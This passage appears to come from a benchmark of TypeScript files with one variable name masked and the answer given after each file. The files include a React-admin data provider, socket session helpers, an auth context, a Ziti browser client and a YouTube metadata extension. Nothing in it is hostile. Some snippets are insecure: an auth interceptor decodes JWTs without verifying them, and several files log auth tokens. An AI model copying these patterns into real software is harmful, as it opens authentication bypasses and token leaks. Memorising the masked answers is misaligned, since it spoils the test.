          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        },
        {
          privateKey:
            ""<KEY>"",
          balance: ""4951760157141521099596496895""
        }
      ]
    }
  },
  typechain: {
    outDir: ""typechain"",
    target: ""ethers-v5"",
    runOnCompile: true
  },
  gasReporter: {
    enabled: true
  },
  mocha: {
    timeout: 2000000
  }
};
",hre
156,"/* eslint-disable no-unused-vars */
import axios, { AxiosInstance } from ""axios"";
import { CreateParams, CreateResult, DataProvider, DeleteManyParams, DeleteManyResult, DeleteParams, DeleteResult, GetListParams, GetListResult, GetManyParams, GetManyReferenceParams, GetManyReferenceResult, GetManyResult, GetOneParams, GetOneResult, Identifier, RaRecord, UpdateManyParams, UpdateManyResult, UpdateParams, UpdateResult } from ""react-admin"";
import logger, { Logger } from 'loglevel';
import uniqueId from 'lodash/uniqueId';

export class DataProviderImpl {
    private static storage = new Map<string, DataProviderImpl>();
    private logger: Logger = logger.getLogger('provider:' + this.resource)

    constructor(private readonly resource: string, private readonly http: AxiosInstance) {}

    public async getList(params: GetListParams): Promise<GetListResult<RaRecord>> {
        const msg = ` [${uniqueId()}] ${DataProviderImpl.name} ${this.getList.name}`
        this.logger.debug('REQUEST' + msg, params);
        try {
            let response;
            if (params.filter && typeof params.filter === 'object' && Reflect.has(params.filter, 'q')) {
                response = await this.http.get(`${this.resource}/search/query?${this.getQs(params)}`);
            } else {
                response = await this.http.get(`${this.resource}?${this.getQs(params)}`);
            }
    
            this.logger.debug('RESPONSE' + msg, response);
            
            return { 
                data: response.data._embedded[this.resource], 
                total: response.data.page.totalElements
            };
        } catch (e) {
            this.logger.error('ERROR' + msg, e);
            throw e;
        }
    }

    protected getQs(params: GetListParams): URLSearchParams {
        const qs = new URLSearchParams();

        qs.append('page', `${params.pagination.page - 1}`);
        qs.append('size', params.pagination.perPage.toString());
        qs.append('sort', `${params.sort.field},${params.sort.order.toLowerCase()}`);

        if (!!params.filter && typeof params.filter === 'object') {
            Object.entries(params.filter).forEach(([key, value]) => {
                if (!value) return;

                qs.append(key, value.toString());
            })
        }

        return qs;
    }

    public async getOne(params: GetOneParams<RaRecord>): Promise<GetOneResult<RaRecord>> {
        const msg = ` [${uniqueId()}] ${DataProviderImpl.name} ${this.getOne.name}`
        this.logger.debug('REQUEST' + msg, params);
        try {
            const response = await this.http.get(`/${this.resource}/${encodeURI(params.id.toString())}`);
            this.logger.debug('RESPONSE' + msg, response);
            
            return { data: response.data };
        } catch (e) {
            this.logger.error('ERROR' + msg, e);
            throw e;
        }
    }

    public async getMany(params: GetManyParams): Promise<GetManyResult<RaRecord>> {
        throw new Error('Not implemented');
    }

    public async getManyReference(params: GetManyReferenceParams): Promise<GetManyReferenceResult<RaRecord>> {
        throw new Error('Not implemented');
    }

    public async update(params: UpdateParams<any>): Promise<UpdateResult<RaRecord>> {
        const msg = ` [${uniqueId()}] ${DataProviderImpl.name} ${this.update.name}`
        this.logger.debug('REQUEST' + msg, params);
        try {
            const response = await this.http.put(`${this.resource}/${encodeURI(params.id.toString())}`, params.data);
            this.logger.debug('RESPONSE' + msg, response);

            return { data: response.data };
        } catch (e) {
            this.logger.error('ERROR' + msg, e);
            throw e;
        }
    }

    public async updateMany(params: UpdateManyParams<any>): Promise<UpdateManyResult<RaRecord>> {
        throw new Error('Not implemented');
    }

    public async create(params: CreateParams): Promise<CreateResult<RaRecord>>  {
        const msg = ` [${uniqueId()}] ${DataProviderImpl.name} ${this.create.name}`
        this.logger.debug('REQUEST' + msg, params);
        try {
            const response = await this.http.post(`${this.resource}`, params.data);
            this.logger.debug('RESPONSE' + msg, response);

            return { data: response.data };
        } catch (e) {
            this.logger.error('ERROR' + msg, e);
            throw e;
        }
    }

    public async delete(params: DeleteParams<RaRecord>): Promise<DeleteResult<RaRecord>>  {
        const msg = ` [${uniqueId()}] ${DataProviderImpl.name} ${this.delete.name}`
        this.logger.debug('REQUEST' + msg, params);
        try {
            const response = await this.http.delete(`${this.resource}/${encodeURI(params.id.toString())}`);
            this.logger.debug('RESPONSE' + msg, response);

            return { data: response.data };
        } catch (e) {
            this.logger.error('ERROR' + msg, e);
            throw e;
        }
    }

    public async deleteMany(params: DeleteManyParams<RaRecord>): Promise<DeleteManyResult<RaRecord>>  {
        await Promise.all(params.ids.map(id => this.delete({ id })))

        return { data: params.ids };
    }

    public static getProvider(http: AxiosInstance): DataProvider {
        return new Proxy({} as DataProvider, {
            get(_, property) {
                return (resource: string, ...other: unknown[]) => {
                    if (!DataProviderImpl.storage.has(resource)) !DataProviderImpl.storage.set(resource, new DataProviderImpl(resource, http));
                    const  [MASK]  = DataProviderImpl.storage.get(resource)!;

                    if (!Reflect.has( [MASK] , property)) throw new Error(`Method ${property.toString()} not implemented`);

                    return Reflect.apply(Reflect.get( [MASK] , property),  [MASK] , other);
                }
            }
        });
    }
}
",instance
157,"import { Socket } from 'socket.io';
import {
  ClientId,
  SessionCode,
  SessionId,
} from '../collabTypes/collabShadowTypes';
import { CollabServerSessionState, SocketId } from './types';

export type SessionsGetter = () => Record<SessionId, CollabServerSessionState>;

class SessionLookupHelper {
  getSessions: SessionsGetter;

  constructor(getSessions: SessionsGetter) {
    this.getSessions = getSessions;
  }

  sessionIdAndSocketIdToClientId(
    sessionId: SessionId,
    socketId: SocketId
  ): ClientId | null {
    const session = this.getSessions()[sessionId];

    if (session === undefined) {
      console.error(`Could not find session with ID: ${sessionId}`);
      return null;
    }

    // TODO(chloe): O(1) lookup
    const clientId = Object.keys(session.sockets).find(
      (potentialClientId) => session.sockets[potentialClientId].id === socketId
    );

    if (clientId === undefined) {
      console.error(`Could not find client ID for session: ${session}`);
      return null;
    }

    return clientId;
  }

  socketIdToSession(socketId: SocketId): CollabServerSessionState | null {
    // TODO(chloe): O(1) lookup
    const session = Object.values(this.getSessions()).find((potentialSession) =>
      Object.values(potentialSession.sockets).some(
        (socket) => socket.id === socketId
      )
    );

    if (session === undefined) {
      console.error(`Could not find client ID for socket ID: ${socketId}`);
      return null;
    }

    return session;
  }

  socketIdToClientId(socketId: SocketId): ClientId | null {
    const session = this.socketIdToSession(socketId);

    if (session === null) {
      return null;
    }

    const foundClientId = Object.keys(session.sockets).find(
      (clientId) => session.sockets[clientId].id === socketId
    );

    if (foundClientId === undefined) {
      return null;
    }

    return foundClientId;
  }

  clientIdToSocket(clientId: ClientId): Socket | null {
    // TODO(chloe): O(1) lookup
    const  [MASK]  = Object.values(this.getSessions()).find((session) =>
      session.clients.some((client) => client.id === clientId)
    );

    if ( [MASK]  === undefined) {
      console.error(`Could not find session for client ID: ${clientId}`);
      return null;
    }

    const clientSocket =  [MASK] .sockets[clientId];

    if (clientSocket === undefined) {
      console.log(
        `Could not find socket for client ID: ${clientId} and session: ${ [MASK] }`
      );
      return null;
    }

    return clientSocket;
  }

  findSessionByCode(sessionCode: SessionCode): CollabServerSessionState | null {
    // TODO(chloe): O(1) lookup
    const foundSession = Object.values(this.getSessions()).find(
      (session) => session.code === sessionCode
    );

    return foundSession ?? null;
  }
}

export default SessionLookupHelper;
",clientSession
158,"import createDataContext from ""./createDataContext"";
import * as SecureStore from 'expo-secure-store';
import weightApi from ""../api/weight"";

interface ActionData {
  type: string,
  payload?: any
}

export interface StateData {
  token: string | undefined,
  errorMessage: string | undefined,
  isSignin?: boolean
}

type DispatchFn = (action: ActionData) => void;

const authReducer = ( [MASK] : StateData, action: ActionData): StateData | undefined => {
  switch (action.type) {
    case ""clear_error"":
      return { ... [MASK] , errorMessage: """" }
    case ""add_error"":
      return { ... [MASK] , errorMessage: action.payload }
    case ""signin"":
      return { errorMessage: """", token: action.payload };
    case ""signout"":
      return { errorMessage: """", token: undefined };
    default:
      break;
  }
}

const tryLocalSignin = (dispatch: DispatchFn) => async () => {
  const token = await SecureStore.getItemAsync(""token"").then().catch((err) => dispatch({ type: ""add_error"", payload: err }));
  if (token) dispatch({ type: ""signin"", payload: token });
}

const clearError = (dispatch: DispatchFn) => () => {
  dispatch({ type: ""clear_error"" });
}

const signup = (dispatch: DispatchFn) => async (email: string, password: string) => {
  try {
    const response = await weightApi.post(""/signup"", { email, password });

    await SecureStore.setItemAsync(""token"", response.data.token);
    dispatch({ type: ""signin"", payload: response.data.token });
  } catch (err) {
    dispatch({ type: ""add_error"", payload: ""Something went wrong while signing up!"" });
  }
}

const signin = (dispatch: DispatchFn) => async (email: string, password: string) => {
  try {
    const response = await weightApi.post(""/login"", { email, password });
    console.log(response.data.token);


    await SecureStore.setItemAsync(""token"", response.data.token);
    dispatch({ type: ""signin"", payload: response.data.token });
  } catch (err) {
    dispatch({ type: ""add_error"", payload: ""Something went wrong while signing in!"" });
  }
}

const signout = (dispatch: DispatchFn) => async () => {
  await SecureStore.deleteItemAsync(""token"");
  dispatch({ type: ""signout"" });
}

export const { Provider, Context } = createDataContext(
  authReducer,
  { tryLocalSignin, clearError, signup, signin, signout },
  { token: undefined, errorMessage: """" }
);",state
159,"import { Component, Input } from '@angular/core';
import { JobPost } from '../models/jobpost';
import { POSData } from '../models/pos';
import { NgFor, NgIf } from '@angular/common';
import { PosComponentComponent } from '../pos-component/pos-component.component';
import { KeywordDisplayComponent } from '../keyword-display/keyword-display.component';
import { EntityDisplayComponent } from '../entity-display/entity-display.component';

@Component({
  selector: 'app-job-post-details',
  standalone: true,
  imports: [
    NgFor,
    NgIf,
    PosComponentComponent,
    KeywordDisplayComponent,
    EntityDisplayComponent
  ],
  templateUrl: './job-post-details.component.html',
  styleUrl: './job-post-details.component.scss'
})
export class JobPostDetailsComponent {
  @Input() post?: JobPost;

  getKeys( [MASK] : POSData | undefined): string[] {
    if (! [MASK] ){
      return [];
    }
    return Object.keys( [MASK] );
  }
}
",obj
160,"/// <reference path=""../System.ts"" />
/**
 * 模块System.Core
 *
 * 这儿放公有代码和扩展代码
 */
module System {
    export class Console {
        static _buffer = '';
        static _buflen = 80;

        // 立即向控制台写出一行数据
        static WriteLine(buf: any) {
            if (this._buffer.length > 0) this.Flush();

            window.console && window.console.log(buf);
        }

        // 将数据写入到一行中
        // 需要调用Flush刷新缓冲区,缓冲区的长度为80,超过80后会被立刻输出
        // 或者下一次调用WriteLine自动刷新缓冲区
        static Write(buf: any) {
            do {
                if (this._buffer.length >= this._buflen) {
                    this.WriteLine(this._buffer);

                    this._buffer = '';
                    break;
                }
                var _tmp = <string>buf;

                if ((this._buffer.length + _tmp.length) >= this._buflen) {
                    var pos = this._buflen - this._buffer.length;

                    this._buffer += _tmp.substr(0, pos);
                    this.WriteLine(this._buffer);

                    this._buffer = _tmp.substr(pos);
                    break;
                }

                this._buffer += _tmp;
            } while (0);
        }

        static WriteObject( [MASK] : any) {
            console.log( [MASK] );
        }

        static Flush() {
            var _tmp = this._buffer; // 避免堆栈递归调用.

            this._buffer = '';
            this.WriteLine(_tmp);
        }
    }
}",obj
161,"import {
  GoogleGenerativeAI,
  HarmBlockThreshold,
  HarmCategory,
} from ""@google/generative-ai"";
import type { Content, GenerateContentRequest } from ""@google/generative-ai"";
import { threeDimensionalPrinter } from ""./models"";
import { readFile } from ""node:fs/promises"";
import { join } from ""node:path"";

const apiKey = process.env.GEMINI_API_KEY;
const genAI = new GoogleGenerativeAI(apiKey!);

const IMAGE_DIR = ""./resources"";

export const model = genAI.getGenerativeModel({
  model: ""gemini-1.5-flash"",
  generationConfig: {
    temperature: 1,
    topP: 0.95,
    topK: 64,
    maxOutputTokens: 4096,
    responseMimeType: ""text/plain"",
  },
});

async function urlToGenerativePart(url: URL | string) {
  console.log(url);
  const result = await fetch(url.toString().trim());
  const data = await result.arrayBuffer();
  const mimeType = result.headers.get(""Content-Type"");

  return {
    inlineData: {
      mimeType,
      data: `data:${mimeType};base64,${Buffer.from(data).toString(""base64"")}`,
    },
  };
}

async function fileToGenerativePart(path: string, mimeType = ""image/png"") {
  const data = await readFile(path);
  return {
    inlineData: {
      mimeType,
      data: Buffer.from(data).toString(""base64"")
    },
  };
}

export async function geminiImagePrompt(
  prompt: string,
   [MASK] : string[],
) {
  const parts: Array<string | any> = [
    prompt
  ];

  for (const image of  [MASK] ) {
    parts.push(
      image.startsWith(""http"")
        ? await urlToGenerativePart(image)
        : await fileToGenerativePart(join(__dirname, IMAGE_DIR, image)),
    );
  }

  const result = await model.generateContent({
      contents: [
        ...threeDimensionalPrinter,
        {
          role: ""user"",
          parts,
        }
      ]
});

  return result.response.text().trim()
    .replace(/`+/, """")
    .split(""\n"");
}

export async function gemini(prompt: string) {
  if (prompt.includes("" image-ref "")) {
    const [promptText, ...images] = prompt.split("" image-ref "");
  
    return geminiImagePrompt(promptText.replace("" image-ref "", """").trim(), images);
  } else {
    console.log('No image ref: ', prompt);
  }
  const result = (
    await model.generateContent({
      contents: [
        ...threeDimensionalPrinter,
        {
          role: ""user"",
          parts: [
            {
              text: prompt,
            },
          ],
        },
      ],
    })
  ).response
    .text()
    .trim()
    .replace(/`+/, """")
    .split(""\n"");

  return result;
}
",referenceImages
162,"/*
Copyright NetFoundry Inc.

Licensed under the Apache License, Version 2.0 (the ""License"");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

https://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an ""AS IS"" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

import { ZitiBrowzerCore, ZITI_CONSTANTS } from '@openziti/ziti-browzer-core';

import EventEmitter from 'events';

import {
  InMemoryCache,
  ICache,
  CacheManager,
  CacheEntry,
  CACHE_KEY_ID_TOKEN_SUFFIX,
  DecodedToken,
} from './cache';

import { CacheKeyManifest } from './cache/key-manifest';

import {
  CACHE_LOCATION_MEMORY,
  DEFAULT_NOW_PROVIDER,
  ZITI_BROWSER_CLIENT_EVENT_NO_SERVICE,
  ZITI_BROWSER_CLIENT_EVENT_NO_CONFIG_FOR_HOSTNAME,
  ZITI_BROWSER_CLIENT_EVENT_SESSION_CREATION_ERROR,
} from './constants';

import {
  ZitiBrowserClientOptions,
  AuthorizationParams,
  CacheLocation,
} from './global';

import { cacheFactory } from './ZitiBrowserClient.utils';

import pjson from '../package.json';
import { buildInfo } from './buildInfo';

declare global {
  interface Window {
    _zitiContext?: object;
  }
}

/**
 * ZitiBrowserClient:
 *
 * This is the main class that Web Applications should interface with
 */
export class ZitiBrowserClient extends EventEmitter {
  private readonly cacheManager: CacheManager;
  private readonly nowProvider: () => number | Promise<number>;
  private readonly zitiBrowzerCore: ZitiBrowzerCore;
  // eslint-disable-next-line
  private readonly zitiContext: any;
  // eslint-disable-next-line
  private readonly logger: any;

  private readonly userCache: ICache = new InMemoryCache().enclosedCache;

  private readonly options: ZitiBrowserClientOptions & {
    authorizationParams: AuthorizationParams;
  };

  private readonly defaultOptions: Partial<ZitiBrowserClientOptions> = {
    // set some defaults
    logLevel: 'warn',
    logPrefix: 'Ziti-SDK-Browser',

    // set some defaults
    authorizationParams: {
      controllerHost: 'ctrl.ziti.netfoundry.io',
      controllerPort: 443,
    },
  };

  /**
   *  To support the ZitiBrowserClient.ready property
   */
  private _readyPromise: Promise<void>;
  private _resolveReady!: () => void;

  /**
   * ZitiBrowserClient ctor
   *
   * @param options
   */
  constructor(options: ZitiBrowserClientOptions) {
    super();

    this.options = {
      ...this.defaultOptions,
      ...options,
      authorizationParams: {
        ...this.defaultOptions.authorizationParams,
        ...options.authorizationParams,
      },
    };

    this._readyPromise = new Promise<void>((resolve) => {
      this._resolveReady = resolve;
    });

    this.zitiBrowzerCore = new ZitiBrowzerCore({});

    this.logger = this.zitiBrowzerCore.createZitiLogger({
      logLevel: this.options.logLevel,
      suffix: this.options.logPrefix,
    });

    this.logger.info(`ctor: start`);

    this.zitiContext = this.zitiBrowzerCore.createZitiContext({
      logger: this.logger,
      controllerApi: `https://${this.options.authorizationParams.controllerHost}:${this.options.authorizationParams.controllerPort}/edge/client/v1`,
      sdkType: pjson.name,
      sdkVersion: pjson.version,
      sdkBranch: buildInfo.sdkBranch,
      sdkRevision: buildInfo.sdkRevision,
      token_type: 'Bearer',
    });
    this.logger.info(`ctor: ZitiContext created`);

    window._zitiContext = this.zitiContext; // allow WASM to find us

    this.zitiContext.setKeyTypeEC();
    this.zitiContext.createEnroller();

    this.zitiContext.setCurrentAPISession({
      token: this.options.authorizationParams.apiSessionToken,
    });
    this.logger.info(
      `apiSessionToken now set to [${this.options.authorizationParams.apiSessionToken}]`
    );

    let cacheLocation: CacheLocation | undefined;
    let cache: ICache;

    if (options.cache) {
      cache = options.cache;
    } else {
      cacheLocation = options.cacheLocation || CACHE_LOCATION_MEMORY;

      if (!cacheFactory(cacheLocation)) {
        throw new Error(`Invalid cache location ""${cacheLocation}""`);
      }

      cache = cacheFactory(cacheLocation)();
    }

    this.nowProvider = this.options.nowProvider || DEFAULT_NOW_PROVIDER;

    this.cacheManager = new CacheManager(
      cache,
      !cache.allKeys
        ? new CacheKeyManifest(
            cache,
            this.options.authorizationParams.controllerHost ||
              'ziti-sdk-browser'
          )
        : undefined,
      this.nowProvider
    );

    this.logger.info(`ctor: completed`);

    setTimeout(
      async (self) => {
        self._ready();
      },
      10,
      this
    );
  }

  private async _initializeZitiContext() {
    await this.zitiContext.sdk_initialize_loadWASM({
      jspi: true,
    });
  }

  /** -----------------------------------------------------------
   * PUBLIC APIs
   *  ----------------------------------------------------------*/

  /**
   * ```js
   * zitiBrowserClient.ready;
   * ```
   *
   *  Do not return/resolve until the SDK is fully initialized
   */
  public get ready(): Promise<void> {
    return this._readyPromise;
  }

  private async _ready() {
    async function zitiBrowserClientInit(zitiBrowserClient: ZitiBrowserClient) {
      let result = await zitiBrowserClient._init();
      if (!result) {
        throw new Error('zitiBrowserClient was not correctly initialized.');
      }
    }

    /* Test to make sure everything works. */
    try {
      await zitiBrowserClientInit(this);
    } catch (err) {
      throw new Error('zitiBrowserClient failed to load:' + err);
    }

    this._resolveReady();
  }

  private async _init(): Promise<boolean> {
    // Load the WebAssembly (for various PKI and TLS functionality)
    try {
      await this.getWASMInstance();
    } catch (e) {
      throw new Error('WebAssembly load/init failed');
    }

    // Obtain the ephemeral x509 cert used with mTLS to edge router
    try {
      let result = await this.enroll();
    } catch (err) {
      throw new Error('ephemeral Cert acquisition failed');
    }

    // Set up handlers for certain browZer core events
    this.zitiContext.on(
      ZITI_CONSTANTS.ZITI_EVENT_NO_SERVICE,
      this._noServiceEventHandler
    );
    this.zitiContext.on(
      ZITI_CONSTANTS.ZITI_EVENT_NO_CONFIG_FOR_HOSTNAME,
      this._noConfigForHostnameEventHandler
    );
    this.zitiContext.on(
      ZITI_CONSTANTS.ZITI_EVENT_SESSION_CREATION_ERROR,
      this._sessionCreationErrorEventHandler
    );

    return true;
  }

  // Propagate the event out to our listeners
  private _noServiceEventHandler = (noServiceEvent: any) => {
    this.emit(ZITI_BROWSER_CLIENT_EVENT_NO_SERVICE, noServiceEvent);
  };
  private _noConfigForHostnameEventHandler = (
    noConfigForHostnameEvent: any
  ) => {
    this.emit(
      ZITI_BROWSER_CLIENT_EVENT_NO_CONFIG_FOR_HOSTNAME,
      noConfigForHostnameEvent
    );
  };
  private _sessionCreationErrorEventHandler = (noSessionEvent: any) => {
    this.emit(ZITI_BROWSER_CLIENT_EVENT_SESSION_CREATION_ERROR, noSessionEvent);
  };

  /**
   * ```js
   * const result = zitiBrowserClient.setAccessToken();
   * ```
   *
   * Set the JWT to be used to auth with Ziti Controller.
   */
  public setAccessToken(token: string): boolean {
    return this._setAccessToken(token);
  }

  /**
   * ```js
   * const result = zitiBrowserClient.setAPISessionToken();
   * ```
   *
   * Set the zt-session token to be used to make REST calls to the Ziti Controller.
   */
  public setAPISessionToken(token: string): void {
    this._setAPISessionToken(token);
  }

  /**
   * ```js
   * const result = zitiBrowserClient.getFreshAPISession();
   * ```
   *
   * Authenticates with Ziti Controller.
   */
  public getFreshAPISession(): boolean {
    return this._getFreshAPISession();
  }

  /**
   * ```js
   * const result = zitiBrowserClient.fetchServices();
   * ```
   *
   * Authenticates with Ziti Controller.
   */

  public async fetchServices(): Promise<object> {
    return await this._fetchServices();
  }

  /**
   * ```js
   * const result = zitiBrowserClient.enroll();
   * ```
   *
   * Does all PKI work necessary to obtain an ephemeral Cert from Ziti Controller.
   */
  public async enroll(): Promise<object> {
    return await this._enroll();
  }

  /**
   * ```js
   * const result = zitiBrowserClient.printEphemeralCert();
   * ```
   *
   * Prints ephemeral Cert obtained from Ziti Controller to the console.
   */
  public async printEphemeralCert(): Promise<void> {
    return await this._printEphemeralCert();
  }

  /**
   * ```js
   * const result = zitiBrowserClient.fetch();
   * ```
   *
   * tbw...
   */
  public async fetch(
    resource: string | Request,
    options: RequestInit | null
  ): Promise<Response> {
    return await this._fetch(resource, options);
  }

  public async getWASMInstance(): Promise<void> {
    await this._initializeZitiContext();
    const  [MASK]  = await this._getWASMInstance();
    return  [MASK] ;
  }

  /**
   * ```js
   * const claims = await zitiBrowserClient.generateKeyPair();
   * ```
   *
   * Does stuff...
   */
  public async generateKeyPair(): Promise<string | undefined> {
    await this._initializeZitiContext();
    const keypair = await this._generateKeyPair();
    return keypair;
  }

  /**
   * ```js
   * await zitiBrowserClient.logout();
   * ```
   *
   * Clears the application session.
   *
   */
  public async logout(): Promise<void> {}

  private async _saveEntryInCache(
    entry: CacheEntry & { id_token: string; decodedToken: DecodedToken }
  ) {
    const { id_token, decodedToken, ...entryWithoutIdToken } = entry;

    this.userCache.set(CACHE_KEY_ID_TOKEN_SUFFIX, {
      id_token,
      decodedToken,
    });

    await this.cacheManager.setIdToken(
      this.options.authorizationParams.controllerHost || 'ziti-sdk-browser',
      entry.id_token,
      entry.decodedToken
    );

    await this.cacheManager.set(entryWithoutIdToken);
  }

  private _setAccessToken(token: string): boolean {
    return this.zitiContext.setAccessToken(token);
  }

  private _setAPISessionToken(token: string): void {
    this.zitiContext.setCurrentAPISession({
      token: this.options.authorizationParams.apiSessionToken,
    });
    this.logger.info(
      `apiSessionToken now set to [${this.options.authorizationParams.apiSessionToken}]`
    );
  }

  private _getFreshAPISession(): boolean {
    return this.zitiContext.getFreshAPISession();
  }

  private async _fetchServices(): Promise<object> {
    return await this.zitiContext.fetchServices();
  }

  private async _enroll(): Promise<object> {
    let result = await this.zitiContext.enroll(); // this acquires an ephemeral Cert
    if (!result) {
      this.logger.error(`ephemeral Cert acquisition failed`);
      // If we couldn't acquire a cert, it most likely means that the JWT from the IdP needs a refresh
      throw new Error(
        `ephemeral Cert acquisition failed; IdP might not be registered with Ziti`
      );
    } else {
      this.logger.info(`ephemeral Cert acquisition succeeded`);
      return result;
    }
  }

  private async _printEphemeralCert(): Promise<void> {
    await this.zitiContext.printEphemeralCert(); // prints cert to console that was obtained by _enroll()
  }

  private async _fetch(
    resource: string | Request,
    options: RequestInit | null
  ): Promise<Response> {
    return await this.zitiContext.httpFetch(resource, options);
  }

  private async _getWASMInstance() {
    return await this.zitiContext.getWASMInstance();
  }

  private async _generateKeyPair() {
    return await this.zitiContext.generateKeyPair();
  }
}
",wasm
163,"import { CallHandler, ExecutionContext, Inject, Injectable, NestInterceptor } from '@nestjs/common';
import { Observable, of, throwError } from 'rxjs';
import { first, map, tap } from 'rxjs/operators';
import { IncomingMessage, ServerResponse } from 'http';
import { JwtService } from '@nestjs/jwt';
import { ApiResult, ApiResultCode } from './common/api-result';
import { UserDto } from './user/user.dto';
import { UserAuth } from './user/user-auth';
import { Request, Response } from 'express-serve-static-core';

export class AuthInterceptor implements NestInterceptor {
  constructor(private readonly jwtService: JwtService) {
  }

  intercept(context: ExecutionContext,  [MASK] : CallHandler): Observable<any> {
    const ar = new ApiResult();
    const http = context.switchToHttp();
    const req = http.getRequest() as Request;
    const res = http.getResponse() as Response;

    const notAuthUrlList = [
      '/api/users/login',
      '/api/systems/install',
      '/api/systems/installed',
    ];
    // 不需要认证url
    if (notAuthUrlList.includes(req.url)) {
      return  [MASK] .handle();
    }

    const accessToken = req.headers.access_token;
    // access_token 为空，返回access_token无效
    if (!accessToken) {
      ar.remind(ApiResultCode['103']);
      return of(ar);
    }
    const userAuth = this.jwtService.decode(accessToken.toString()) as UserAuth;
    if (userAuth === null) {
      ar.remind(ApiResultCode['103']);
      return of(ar);
    }
    if (new Date().getTime() > userAuth.exp * 1000) {
      ar.remind(ApiResultCode['104']);
      return of(ar);
    }

    return  [MASK] .handle();
  }

}",next
164,"import { format } from 'date-fns-tz'

console.log('YouTube Metadata Extension Loading')

const displayTimezone = Intl.DateTimeFormat().resolvedOptions().timeZone

const menuElement = document.createElement('div')
menuElement.style.backgroundColor = '#FFFFFFCC'
menuElement.style.padding = '4px 16px'
menuElement.style.fontSize = '12pt'
menuElement.style.display = 'flex'
menuElement.style.flexDirection = 'column'
menuElement.style.zIndex = '999'
menuElement.style.position = 'fixed'
menuElement.style.left = '0px'
menuElement.style.bottom = '0px'

let intervalVideoObjectId: number | null = null
let intervalChannelId: number | null = null

const channelIdElement = document.createElement('div')
const videoIdElement = document.createElement('div')
const uploadDateElement = document.createElement('div')
const startTimeElement = document.createElement('div')
const endTimeElement = document.createElement('div')

channelIdElement.innerText = 'チャンネルID'
videoIdElement.innerText = '動画ID'
uploadDateElement.innerText = 'アップロード日'
startTimeElement.innerText = '開始時間'
endTimeElement.innerText = '終了時間'

const channelIdInputElement = document.createElement('input')
const videoIdInputElement = document.createElement('input')
const uploadDateInputElement = document.createElement('input')
const startTimeInputElement = document.createElement('input')
const endTimeInputElement = document.createElement('input')

function clickToSelectAllHandler(event: MouseEvent) {
  if (!(event.target instanceof HTMLInputElement)) {
    throw Error('Unexpected event target type')
  }

  event.target.select()
}

channelIdInputElement.addEventListener('click', clickToSelectAllHandler)
videoIdInputElement.addEventListener('click', clickToSelectAllHandler)
uploadDateInputElement.addEventListener('click', clickToSelectAllHandler)
startTimeInputElement.addEventListener('click', clickToSelectAllHandler)
endTimeInputElement.addEventListener('click', clickToSelectAllHandler)

menuElement.appendChild(channelIdElement)
menuElement.appendChild(channelIdInputElement)
menuElement.appendChild(videoIdElement)
menuElement.appendChild(videoIdInputElement)
menuElement.appendChild(uploadDateElement)
menuElement.appendChild(uploadDateInputElement)
menuElement.appendChild(startTimeElement)
menuElement.appendChild(startTimeInputElement)
menuElement.appendChild(endTimeElement)
menuElement.appendChild(endTimeInputElement)
document.body.appendChild(menuElement)

function getVideoId() {
  const currentUrl = new URL(location.href)

  const paramVideoId = currentUrl.searchParams.get('v')
  if (paramVideoId != null) {
    return paramVideoId
  }

  const urlPath = currentUrl.pathname
  const liveUrlMatch = urlPath.match(/^\/live\/(.+)$/)
  if (liveUrlMatch != null) {
    return liveUrlMatch[1]
  }

  return null
}

function getChannelId() {
  const infoCardChannelAnchorElement = document.querySelector(
    '#infocard-channel-button > ytd-button-renderer > yt-button-shape > a',
  )
  if (infoCardChannelAnchorElement != null) {
    const channelAboutUrlString = infoCardChannelAnchorElement.getAttribute('href')
    const channelAboutUrl = new URL(channelAboutUrlString, location.href)
    const channelAboutUrlMatch = channelAboutUrl.pathname.match(/^\/channel\/(.+)\/about$/)

    if (channelAboutUrlMatch != null) {
      return channelAboutUrlMatch[1]
    }
  }

  return null
}

function doIntervalChannelId() {
  const channelId = getChannelId()
  if (channelId != null) {
    channelIdInputElement.value = channelId

    // stop interval if loaded
    clearInterval(intervalChannelId)
  }
}

function doIntervalVideoObject() {
  const videoObjectElement = document.querySelector('#watch7-content')
  if (videoObjectElement == null) return

  const uploadDateElement: HTMLMetaElement | null = videoObjectElement.querySelector(
    'meta[itemprop=""uploadDate""]',
  )
  const  [MASK]  = uploadDateElement != null ? uploadDateElement.content : null
  uploadDateInputElement.value =
     [MASK]  != null
      ? format(new Date( [MASK] ), ""yyyy-MM-dd'T'HH:mm:ssxxx"", {
          timeZone: displayTimezone,
        })
      : ''

  const publicationElement = videoObjectElement.querySelector('span[itemprop=""publication""]')
  if (publicationElement != null) {
    const startDateElement: HTMLMetaElement | null = publicationElement.querySelector(
      'meta[itemprop=""startDate""]',
    )
    const startDateString = startDateElement != null ? startDateElement.content : null
    const endDateElement: HTMLMetaElement | null = publicationElement.querySelector(
      'meta[itemprop=""endDate""]',
    )
    const endDateString = endDateElement != null ? endDateElement.content : null

    startTimeInputElement.value =
      startDateString != null
        ? format(new Date(startDateString), ""yyyy-MM-dd'T'HH:mm:ssxxx"", {
            timeZone: displayTimezone,
          })
        : ''
    endTimeInputElement.value =
      endDateString != null
        ? format(new Date(endDateString), ""yyyy-MM-dd'T'HH:mm:ssxxx"", {
            timeZone: displayTimezone,
          })
        : ''
  }

  // stop interval if loaded
  clearInterval(intervalVideoObjectId)
}

const videoId = getVideoId()
videoIdInputElement.value = videoId != null ? videoId : null

intervalChannelId = setInterval(doIntervalChannelId, 100)
